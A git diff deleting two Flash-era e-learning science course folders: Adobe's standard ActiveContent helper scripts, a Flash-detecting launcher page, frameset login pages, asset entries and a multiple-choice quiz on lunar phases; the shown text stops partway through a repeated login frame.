diff --git a/Explore/elr/Science/S0801/global/AC_ActiveX.js b/Explore/elr/Science/S0801/global/AC_ActiveX.js
deleted file mode 100755
index bda9c6c..0000000
--- a/Explore/elr/Science/S0801/global/AC_ActiveX.js
+++ /dev/null
@@ -1,82 +0,0 @@
-//v1.1
-//Copyright 2006 Adobe Systems, Inc. All rights reserved.
-function AC_AX_RunContent(){
-  var ret = AC_AX_GetArgs(arguments);
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_AX_GetArgs(args){
-  var ret = new Object();
-  ret.embedAttrs = new Object();
-  ret.params = new Object();
-  ret.objAttrs = new Object();
-  for (var i=0; i < args.length; i=i+2){
-    var currArg = args[i].toLowerCase();    
-
-    switch (currArg){	
-      case "pluginspage":
-      case "type":
-      case "src":
-        ret.embedAttrs[args[i]] = args[i+1];
-        break;
-      case "data":
-      case "codebase":
-      case "classid":
-      case "id":
-      case "onafterupdate":
-      case "onbeforeupdate":
-      case "onblur":
-      case "oncellchange":
-      case "onclick":
-      case "ondblClick":
-      case "ondrag":
-      case "ondragend":
-      case "ondragenter":
-      case "ondragleave":
-      case "ondragover":
-      case "ondrop":
-      case "onfinish":
-      case "onfocus":
-      case "onhelp":
-      case "onmousedown":
-      case "onmouseup":
-      case "onmouseover":
-      case "onmousemove":
-      case "onmouseout":
-      case "onkeypress":
-      case "onkeydown":
-      case "onkeyup":
-      case "onload":
-      case "onlosecapture":
-      case "onpropertychange":
-      case "onreadystatechange":
-      case "onrowsdelete":
-      case "onrowenter":
-      case "onrowexit":
-      case "onrowsinserted":
-      case "onstart":
-      case "onscroll":
-      case "onbeforeeditfocus":
-      case "onactivate":
-      case "onbeforedeactivate":
-      case "ondeactivate":
-        ret.objAttrs[args[i]] = args[i+1];
-        break;
-      case "width":
-      case "height":
-      case "align":
-      case "vspace": 
-      case "hspace":
-      case "class":
-      case "title":
-      case "accesskey":
-      case "name":
-      case "tabindex":
-        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
-        break;
-      default:
-        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
-    }
-  }
-  return ret;
-}
diff --git a/Explore/elr/Science/S0801/global/AC_RunActiveContent.js b/Explore/elr/Science/S0801/global/AC_RunActiveContent.js
deleted file mode 100755
index 1f9190a..0000000
--- a/Explore/elr/Science/S0801/global/AC_RunActiveContent.js
+++ /dev/null
@@ -1,126 +0,0 @@
-//v1.0
-//Copyright 2006 Adobe Systems, Inc. All rights reserved.
-function AC_AddExtension(src, ext)
-{
-  if (src.indexOf('?') != -1)
-    return src.replace(/\?/, ext+'?'); 
-  else
-    return src + ext;
-}
-
-function AC_Generateobj(objAttrs, params, embedAttrs) 
-{ 
-  var str = '<object ';
-  for (var i in objAttrs)
-    str += i + '="' + objAttrs[i] + '" ';
-  str += '>';
-  for (var i in params)
-    str += '<param name="' + i + '" value="' + params[i] + '" /> ';
-  str += '<embed ';
-  for (var i in embedAttrs)
-    str += i + '="' + embedAttrs[i] + '" ';
-  str += ' ></embed></object>';
-
-  document.write(str);
-}
-
-function AC_FL_RunContent(){
-  var ret = 
-    AC_GetArgs
-    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
-     , "application/x-shockwave-flash"
-    );
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_SW_RunContent(){
-  var ret = 
-    AC_GetArgs
-    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
-     , null
-    );
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
-  var ret = new Object();
-  ret.embedAttrs = new Object();
-  ret.params = new Object();
-  ret.objAttrs = new Object();
-  for (var i=0; i < args.length; i=i+2){
-    var currArg = args[i].toLowerCase();    
-
-    switch (currArg){	
-      case "classid":
-        break;
-      case "pluginspage":
-        ret.embedAttrs[args[i]] = args[i+1];
-        break;
-      case "src":
-      case "movie":	
-        args[i+1] = AC_AddExtension(args[i+1], ext);
-        ret.embedAttrs["src"] = args[i+1];
-        ret.params[srcParamName] = args[i+1];
-        break;
-      case "onafterupdate":
-      case "onbeforeupdate":
-      case "onblur":
-      case "oncellchange":
-      case "onclick":
-      case "ondblClick":
-      case "ondrag":
-      case "ondragend":
-      case "ondragenter":
-      case "ondragleave":
-      case "ondragover":
-      case "ondrop":
-      case "onfinish":
-      case "onfocus":
-      case "onhelp":
-      case "onmousedown":
-      case "onmouseup":
-      case "onmouseover":
-      case "onmousemove":
-      case "onmouseout":
-      case "onkeypress":
-      case "onkeydown":
-      case "onkeyup":
-      case "onload":
-      case "onlosecapture":
-      case "onpropertychange":
-      case "onreadystatechange":
-      case "onrowsdelete":
-      case "onrowenter":
-      case "onrowexit":
-      case "onrowsinserted":
-      case "onstart":
-      case "onscroll":
-      case "onbeforeeditfocus":
-      case "onactivate":
-      case "onbeforedeactivate":
-      case "ondeactivate":
-      case "type":
-      case "codebase":
-        ret.objAttrs[args[i]] = args[i+1];
-        break;
-      case "width":
-      case "height":
-      case "align":
-      case "vspace": 
-      case "hspace":
-      case "class":
-      case "title":
-      case "accesskey":
-      case "name":
-      case "id":
-      case "tabindex":
-        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
-        break;
-      default:
-        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
-    }
-  }
-  ret.objAttrs["classid"] = classid;
-  if (mimeType) ret.embedAttrs["type"] = mimeType;
-  return ret;
-}
diff --git a/Explore/elr/Science/S0801/index.htm b/Explore/elr/Science/S0801/index.htm
deleted file mode 100755
index 301d2a1..0000000
--- a/Explore/elr/Science/S0801/index.htm
+++ /dev/null
@@ -1,80 +0,0 @@
-<html>
-<head>
-<title>EFK - Course Launcher</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script>
-var MM_contentVersion = 6;
-var plugin = (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]) ? navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin : 0;
-if ( plugin ) {
-		var words = navigator.plugins["Shockwave Flash"].description.split(" ");
-	    for (var i = 0; i < words.length; ++i)
-	    {
-		if (isNaN(parseInt(words[i])))
-		continue;
-		var MM_PluginVersion = words[i]; 
-	    }
-	var MM_FlashCanPlay = MM_PluginVersion >= MM_contentVersion;
-}
-else if (navigator.userAgent && navigator.userAgent.indexOf("MSIE")>=0 
-   && (navigator.appVersion.indexOf("Win") != -1)) {
-	document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n'); //FS hide this from IE4.5 Mac by splitting the tag
-	document.write('on error resume next \n');
-	document.write('MM_FlashCanPlay = ( IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash." & MM_contentVersion)))\n');
-	document.write('</SCR' + 'IPT\> \n');
-}
-if (MM_FlashCanPlay )
-{
-win();
-}
-else
-{
-   alert("You will need Flash Player plug-in to run this course. The course will atempt to install the plug-in from the Web site of Macromedia. Alternatively, you can also install the plug-in from www.Macromedia.com");
-mx=window.open("http://www.macromedia.com/go/getflashplayer"); 
-}
-function win()
-{
-//Detect Resolution 
-if(screen.width < 1000)
-{
-//alert (screen.width);
-///alert ("800 resolution");
-mx = window.open("login.htm","wInterface","fullscreen=yes,HEIGHT="+screen.availHeight+",WIDTH=" +screen.availWidth+",left=0,top=0,leftmargin=0,topmargin=0")
-}
-else
-{
-//alert ("> 800 resolution");
-//alert (screen.width);
-mx = window.open("login.htm","wInterface","HEIGHT=600,WIDTH=800,left="+(screen.availWidth-1000)/2+",top="+(screen.availHeight-675)/2+",leftmargin=0,topmargin=0")
-}
-
-}
-
-</script>
-</head>
-<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
-<br><Br><br><Br><Br><Br><Br><br><br><br>
-<CENTER>
-  <table width="80%" border="0" cellspacing="0" cellpadding="0">
-    <tr>
-      <td bgcolor="#9AC1E2"><table width="100%" border="0" cellspacing="1" cellpadding="50">
-          <tr> 
-            <td align="center" bgcolor="#FFFFFF"> <table width="80%" border="0" cellspacing="0" cellpadding="0">
-                <tr> 
-                  <td bgcolor="#666666"><table width="100%" border="0" cellspacing="1" cellpadding="3">
-                      <tr> 
-                        <td bgcolor="#E6E6E6"> <div align="center"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">The 
-                            course may not launch automatically if you have the 
-                            pop blocker enabled, <br>
-                            Please&nbsp;<A HREF="Javascript:win()"><strong>click 
-                            here</strong></A> to launch it manually.</font></div></td>
-                      </tr>
-                    </table></td>
-                </tr>
-              </table></td>
-          </tr>
-        </table></td>
-    </tr>
-  </table>
-</CENTER>
-</BODY>
-</html>
diff --git a/Explore/elr/Science/S0801/login.htm b/Explore/elr/Science/S0801/login.htm
deleted file mode 100755
index bc8910f..0000000
--- a/Explore/elr/Science/S0801/login.htm
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>EFK</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-
-<frameset rows="*,1" frameborder="NO" border="0" framespacing="0">
-  <frame src="loginframe.htm" name="fr1" frameborder="no" scrolling="no" noresize marginwidth="0" marginheight="0">
-  <frame  src="precacheframe.htm" name="fr" scrolling="NO" noresize>
-</frameset>
-<noframes><body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
-
-</body></noframes>
-</html>
diff --git a/Explore/elr/Science/S0801/loginframe.htm b/Explore/elr/Science/S0801/loginframe.htm
deleted file mode 100755
index c543f12..0000000
--- a/Explore/elr/Science/S0801/loginframe.htm
+++ /dev/null
@@ -1,21 +0,0 @@
-<HTML>
-<HEAD>
-<meta http-equiv=Content-Type content="text/html;  charset=ISO-8859-1">
-<TITLE>EFK</TITLE>
-<script src="global/AC_RunActiveContent.js" type="text/javascript"></script>
-<script src="global/AC_ActiveX.js" type="text/javascript"></script>
-</HEAD>
-<BODY bgcolor="#ffffff" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onLoad="initFlashMovie()" onUnload="closeAllChildWindows()" >
-<SCRIPT LANGUAGE=JavaScript>
-</SCRIPT>
-<!-- URL's used in the movie-->
-<!-- text used in the movie-->
-<!--Loading...User Name :Password :-->
-<div onMouseDown="removeMenu();">
-
-<script type="text/javascript" > 
-AC_FL_RunContent('codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0','width','100%','height','100%','align','middle','src','template','quality','high','SeamlessTabbing','false','bgcolor','#FFFFFF','name','course','allowscriptaccess','sameDomain','pluginspage','http://www.macromedia.com/go/getflashplayer','movie','template','menu','false','id','course');
-</script>
-</div>
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0801/template.swf b/Explore/elr/Science/S0801/template.swf
deleted file mode 100755
index c6c27d8..0000000
--- a/Explore/elr/Science/S0801/template.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0801/xml/activity06.xml b/Explore/elr/Science/S0801/xml/activity06.xml
deleted file mode 100755
index 810df36..0000000
--- a/Explore/elr/Science/S0801/xml/activity06.xml
+++ /dev/null
@@ -1,74 +0,0 @@
-<activity id = "3">
-  <description><![CDATA[<b></b>]]></description>
-  <set id = "1">
-    <questions>
-      <question id = "1">
-        <qn><![CDATA[Identify the phase of the lunar cycle.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Waxing gibbous phase]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Full Moon phase]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[First quarter phase]]></option>
-		  <option id = "4" isCorrect = "true"><![CDATA[Third quarter phase]]></option>
-        </options>
-      </question>
-      <question id = "2">
-        <qn><![CDATA[Identify the phase of the lunar cycle.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[Waxing gibbous phase]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Full Moon phase]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[First quarter phase]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Third quarter phase]]></option>
-        </options>
-      </question>
-      <question id = "3">
-        <qn><![CDATA[Identify the phase of the lunar cycle.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Waxing gibbous phase]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[Full Moon phase]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[First quarter phase]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Third quarter phase]]></option>
-        </options>
-      </question>
-      <question id = "4">
-        <qn><![CDATA[Identify the phase of the lunar cycle.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Waxing gibbous phase]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Waxing crescent phase]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Waning gibbous phase]]></option>
-		  <option id = "4" isCorrect = "true"><![CDATA[Waning crescent phase]]></option>
-        </options>
-      </question>
-      <question id = "5">
-        <qn><![CDATA[Identify the phase of the lunar cycle.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Waxing gibbous phase]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Waxing crescent phase]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[Waning gibbous phase]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Waning crescent phase]]></option>
-        </options>
-      </question>
-	<question id = "6">
-        <qn><![CDATA[Identify the phase of the lunar cycle.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[Waxing crescent phase]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Full Moon phase]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[First quarter phase]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Third quarter phase]]></option>
-        </options>
-      </question>
-	  <question id = "7">
-        <qn><![CDATA[Identify the phase of the lunar cycle.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Full Moon phase]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[First quarter phase]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[New Moon phase]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Third quarter phase]]></option>
-        </options>
-      </question>
-    </questions>
-    <feedback>
-      <correct id = "1"><![CDATA[<b>That's correct!</b>]]></correct>
-      <wrong id = "2"><![CDATA[<b>That's not correct.</b>]]></wrong>
-    </feedback>
-  </set>
-</activity>
diff --git a/Explore/elr/Science/S0801/xml/course.xml b/Explore/elr/Science/S0801/xml/course.xml
deleted file mode 100755
index 7eec137..0000000
--- a/Explore/elr/Science/S0801/xml/course.xml
+++ /dev/null
@@ -1,10 +0,0 @@
-<course id="1">
-	<screen id = "01" type = "" swf = "LS_001" />
-	<screen id = "02" type = "" swf = "LS_002" />
-	<screen id = "03" type = "" swf = "LS_003" />
-	<screen id = "04" type = "" swf = "LS_004" />
-	<screen id = "05" type = "" swf = "LS_005" />
-	<screen id = "06" type = "cyu" swf = "LS_006" />
-	<screen id = "07" type = "cyu" swf = "LS_007" />
-	<screen id = "08" type = "" swf = "LS_008" />
-</course>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S1001/assets/SS_001.swf b/Explore/elr/Science/S1001/assets/SS_001.swf
deleted file mode 100755
index 3b7aabb..0000000
--- a/Explore/elr/Science/S1001/assets/SS_001.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_002.swf b/Explore/elr/Science/S1001/assets/SS_002.swf
deleted file mode 100755
index 38d9e4e..0000000
--- a/Explore/elr/Science/S1001/assets/SS_002.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_003.swf b/Explore/elr/Science/S1001/assets/SS_003.swf
deleted file mode 100755
index 82db7a6..0000000
--- a/Explore/elr/Science/S1001/assets/SS_003.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_004.swf b/Explore/elr/Science/S1001/assets/SS_004.swf
deleted file mode 100755
index 6a090a5..0000000
--- a/Explore/elr/Science/S1001/assets/SS_004.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_005.swf b/Explore/elr/Science/S1001/assets/SS_005.swf
deleted file mode 100755
index 0353457..0000000
--- a/Explore/elr/Science/S1001/assets/SS_005.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_006.swf b/Explore/elr/Science/S1001/assets/SS_006.swf
deleted file mode 100755
index 3bfada0..0000000
--- a/Explore/elr/Science/S1001/assets/SS_006.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_007.swf b/Explore/elr/Science/S1001/assets/SS_007.swf
deleted file mode 100755
index 90a301d..0000000
--- a/Explore/elr/Science/S1001/assets/SS_007.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_008.swf b/Explore/elr/Science/S1001/assets/SS_008.swf
deleted file mode 100755
index 268dbec..0000000
--- a/Explore/elr/Science/S1001/assets/SS_008.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_009.swf b/Explore/elr/Science/S1001/assets/SS_009.swf
deleted file mode 100755
index 5c23e8c..0000000
--- a/Explore/elr/Science/S1001/assets/SS_009.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_010.swf b/Explore/elr/Science/S1001/assets/SS_010.swf
deleted file mode 100755
index 04a6559..0000000
--- a/Explore/elr/Science/S1001/assets/SS_010.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_011.swf b/Explore/elr/Science/S1001/assets/SS_011.swf
deleted file mode 100755
index 1b8d2f5..0000000
--- a/Explore/elr/Science/S1001/assets/SS_011.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_012.swf b/Explore/elr/Science/S1001/assets/SS_012.swf
deleted file mode 100755
index 10235a8..0000000
--- a/Explore/elr/Science/S1001/assets/SS_012.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_013.swf b/Explore/elr/Science/S1001/assets/SS_013.swf
deleted file mode 100755
index 0891f69..0000000
--- a/Explore/elr/Science/S1001/assets/SS_013.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/SS_014.swf b/Explore/elr/Science/S1001/assets/SS_014.swf
deleted file mode 100755
index 5a0d035..0000000
--- a/Explore/elr/Science/S1001/assets/SS_014.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/assets/TOI.swf b/Explore/elr/Science/S1001/assets/TOI.swf
deleted file mode 100755
index d8d7dd2..0000000
--- a/Explore/elr/Science/S1001/assets/TOI.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/global/AC_ActiveX.js b/Explore/elr/Science/S1001/global/AC_ActiveX.js
deleted file mode 100755
index bda9c6c..0000000
--- a/Explore/elr/Science/S1001/global/AC_ActiveX.js
+++ /dev/null
@@ -1,82 +0,0 @@
-//v1.1
-//Copyright 2006 Adobe Systems, Inc. All rights reserved.
-function AC_AX_RunContent(){
-  var ret = AC_AX_GetArgs(arguments);
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_AX_GetArgs(args){
-  var ret = new Object();
-  ret.embedAttrs = new Object();
-  ret.params = new Object();
-  ret.objAttrs = new Object();
-  for (var i=0; i < args.length; i=i+2){
-    var currArg = args[i].toLowerCase();    
-
-    switch (currArg){	
-      case "pluginspage":
-      case "type":
-      case "src":
-        ret.embedAttrs[args[i]] = args[i+1];
-        break;
-      case "data":
-      case "codebase":
-      case "classid":
-      case "id":
-      case "onafterupdate":
-      case "onbeforeupdate":
-      case "onblur":
-      case "oncellchange":
-      case "onclick":
-      case "ondblClick":
-      case "ondrag":
-      case "ondragend":
-      case "ondragenter":
-      case "ondragleave":
-      case "ondragover":
-      case "ondrop":
-      case "onfinish":
-      case "onfocus":
-      case "onhelp":
-      case "onmousedown":
-      case "onmouseup":
-      case "onmouseover":
-      case "onmousemove":
-      case "onmouseout":
-      case "onkeypress":
-      case "onkeydown":
-      case "onkeyup":
-      case "onload":
-      case "onlosecapture":
-      case "onpropertychange":
-      case "onreadystatechange":
-      case "onrowsdelete":
-      case "onrowenter":
-      case "onrowexit":
-      case "onrowsinserted":
-      case "onstart":
-      case "onscroll":
-      case "onbeforeeditfocus":
-      case "onactivate":
-      case "onbeforedeactivate":
-      case "ondeactivate":
-        ret.objAttrs[args[i]] = args[i+1];
-        break;
-      case "width":
-      case "height":
-      case "align":
-      case "vspace": 
-      case "hspace":
-      case "class":
-      case "title":
-      case "accesskey":
-      case "name":
-      case "tabindex":
-        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
-        break;
-      default:
-        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
-    }
-  }
-  return ret;
-}
diff --git a/Explore/elr/Science/S1001/global/AC_RunActiveContent.js b/Explore/elr/Science/S1001/global/AC_RunActiveContent.js
deleted file mode 100755
index 1f9190a..0000000
--- a/Explore/elr/Science/S1001/global/AC_RunActiveContent.js
+++ /dev/null
@@ -1,126 +0,0 @@
-//v1.0
-//Copyright 2006 Adobe Systems, Inc. All rights reserved.
-function AC_AddExtension(src, ext)
-{
-  if (src.indexOf('?') != -1)
-    return src.replace(/\?/, ext+'?'); 
-  else
-    return src + ext;
-}
-
-function AC_Generateobj(objAttrs, params, embedAttrs) 
-{ 
-  var str = '<object ';
-  for (var i in objAttrs)
-    str += i + '="' + objAttrs[i] + '" ';
-  str += '>';
-  for (var i in params)
-    str += '<param name="' + i + '" value="' + params[i] + '" /> ';
-  str += '<embed ';
-  for (var i in embedAttrs)
-    str += i + '="' + embedAttrs[i] + '" ';
-  str += ' ></embed></object>';
-
-  document.write(str);
-}
-
-function AC_FL_RunContent(){
-  var ret = 
-    AC_GetArgs
-    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
-     , "application/x-shockwave-flash"
-    );
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_SW_RunContent(){
-  var ret = 
-    AC_GetArgs
-    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
-     , null
-    );
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
-  var ret = new Object();
-  ret.embedAttrs = new Object();
-  ret.params = new Object();
-  ret.objAttrs = new Object();
-  for (var i=0; i < args.length; i=i+2){
-    var currArg = args[i].toLowerCase();    
-
-    switch (currArg){	
-      case "classid":
-        break;
-      case "pluginspage":
-        ret.embedAttrs[args[i]] = args[i+1];
-        break;
-      case "src":
-      case "movie":	
-        args[i+1] = AC_AddExtension(args[i+1], ext);
-        ret.embedAttrs["src"] = args[i+1];
-        ret.params[srcParamName] = args[i+1];
-        break;
-      case "onafterupdate":
-      case "onbeforeupdate":
-      case "onblur":
-      case "oncellchange":
-      case "onclick":
-      case "ondblClick":
-      case "ondrag":
-      case "ondragend":
-      case "ondragenter":
-      case "ondragleave":
-      case "ondragover":
-      case "ondrop":
-      case "onfinish":
-      case "onfocus":
-      case "onhelp":
-      case "onmousedown":
-      case "onmouseup":
-      case "onmouseover":
-      case "onmousemove":
-      case "onmouseout":
-      case "onkeypress":
-      case "onkeydown":
-      case "onkeyup":
-      case "onload":
-      case "onlosecapture":
-      case "onpropertychange":
-      case "onreadystatechange":
-      case "onrowsdelete":
-      case "onrowenter":
-      case "onrowexit":
-      case "onrowsinserted":
-      case "onstart":
-      case "onscroll":
-      case "onbeforeeditfocus":
-      case "onactivate":
-      case "onbeforedeactivate":
-      case "ondeactivate":
-      case "type":
-      case "codebase":
-        ret.objAttrs[args[i]] = args[i+1];
-        break;
-      case "width":
-      case "height":
-      case "align":
-      case "vspace": 
-      case "hspace":
-      case "class":
-      case "title":
-      case "accesskey":
-      case "name":
-      case "id":
-      case "tabindex":
-        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
-        break;
-      default:
-        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
-    }
-  }
-  ret.objAttrs["classid"] = classid;
-  if (mimeType) ret.embedAttrs["type"] = mimeType;
-  return ret;
-}
diff --git a/Explore/elr/Science/S1001/index.htm b/Explore/elr/Science/S1001/index.htm
deleted file mode 100755
index 301d2a1..0000000
--- a/Explore/elr/Science/S1001/index.htm
+++ /dev/null
@@ -1,80 +0,0 @@
-<html>
-<head>
-<title>EFK - Course Launcher</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script>
-var MM_contentVersion = 6;
-var plugin = (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]) ? navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin : 0;
-if ( plugin ) {
-		var words = navigator.plugins["Shockwave Flash"].description.split(" ");
-	    for (var i = 0; i < words.length; ++i)
-	    {
-		if (isNaN(parseInt(words[i])))
-		continue;
-		var MM_PluginVersion = words[i]; 
-	    }
-	var MM_FlashCanPlay = MM_PluginVersion >= MM_contentVersion;
-}
-else if (navigator.userAgent && navigator.userAgent.indexOf("MSIE")>=0 
-   && (navigator.appVersion.indexOf("Win") != -1)) {
-	document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n'); //FS hide this from IE4.5 Mac by splitting the tag
-	document.write('on error resume next \n');
-	document.write('MM_FlashCanPlay = ( IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash." & MM_contentVersion)))\n');
-	document.write('</SCR' + 'IPT\> \n');
-}
-if (MM_FlashCanPlay )
-{
-win();
-}
-else
-{
-   alert("You will need Flash Player plug-in to run this course. The course will atempt to install the plug-in from the Web site of Macromedia. Alternatively, you can also install the plug-in from www.Macromedia.com");
-mx=window.open("http://www.macromedia.com/go/getflashplayer"); 
-}
-function win()
-{
-//Detect Resolution 
-if(screen.width < 1000)
-{
-//alert (screen.width);
-///alert ("800 resolution");
-mx = window.open("login.htm","wInterface","fullscreen=yes,HEIGHT="+screen.availHeight+",WIDTH=" +screen.availWidth+",left=0,top=0,leftmargin=0,topmargin=0")
-}
-else
-{
-//alert ("> 800 resolution");
-//alert (screen.width);
-mx = window.open("login.htm","wInterface","HEIGHT=600,WIDTH=800,left="+(screen.availWidth-1000)/2+",top="+(screen.availHeight-675)/2+",leftmargin=0,topmargin=0")
-}
-
-}
-
-</script>
-</head>
-<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
-<br><Br><br><Br><Br><Br><Br><br><br><br>
-<CENTER>
-  <table width="80%" border="0" cellspacing="0" cellpadding="0">
-    <tr>
-      <td bgcolor="#9AC1E2"><table width="100%" border="0" cellspacing="1" cellpadding="50">
-          <tr> 
-            <td align="center" bgcolor="#FFFFFF"> <table width="80%" border="0" cellspacing="0" cellpadding="0">
-                <tr> 
-                  <td bgcolor="#666666"><table width="100%" border="0" cellspacing="1" cellpadding="3">
-                      <tr> 
-                        <td bgcolor="#E6E6E6"> <div align="center"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">The 
-                            course may not launch automatically if you have the 
-                            pop blocker enabled, <br>
-                            Please&nbsp;<A HREF="Javascript:win()"><strong>click 
-                            here</strong></A> to launch it manually.</font></div></td>
-                      </tr>
-                    </table></td>
-                </tr>
-              </table></td>
-          </tr>
-        </table></td>
-    </tr>
-  </table>
-</CENTER>
-</BODY>
-</html>
diff --git a/Explore/elr/Science/S1001/login.htm b/Explore/elr/Science/S1001/login.htm
deleted file mode 100755
index bc8910f..0000000
--- a/Explore/elr/Science/S1001/login.htm
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>EFK</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-
-<frameset rows="*,1" frameborder="NO" border="0" framespacing="0">
-  <frame src="loginframe.htm" name="fr1" frameborder="no" scrolling="no" noresize marginwidth="0" marginheight="0">
-  <frame  src="precacheframe.htm" name="fr" scrolling="NO" noresize>
-</frameset>
-<noframes><body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
-
-</body></noframes>
-</html>
diff --git a/Explore/elr/Science/S1001/loginframe.htm b/Explore/elr/Science/S1001/loginframe.htm
deleted file mode 100755
index c543f12..0000000
--- a/Explore/elr/Science/S1001/loginframe.htm
+++ /dev/null
@@ -1,21 +0,0 @@
-<HTML>
-<HEAD>
-<meta http-equiv=Content-Type content="text/html;  charset=ISO-8859-1">
-<TITLE>EFK</TITLE>
-<script src="global/AC_RunActiveContent.js" type="text/javascript"></script>
-<script src="global/AC_ActiveX.js" type="text/javascript"></script>
-</HEAD>
-<BODY bgcolor="#ffffff" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onLoad="initFlashMovie()" onUnload="closeAllChildWindows()" >
-<SCRIPT LANGUAGE=JavaScript>
-</SCRIPT>
-<!-- URL's used in the movie-->
-<!-- text used in the movie-->
-<!--Loading...User Name :Password :-->
-<div onMouseDown="removeMenu();">
-
-<script type="text/javascript" > 
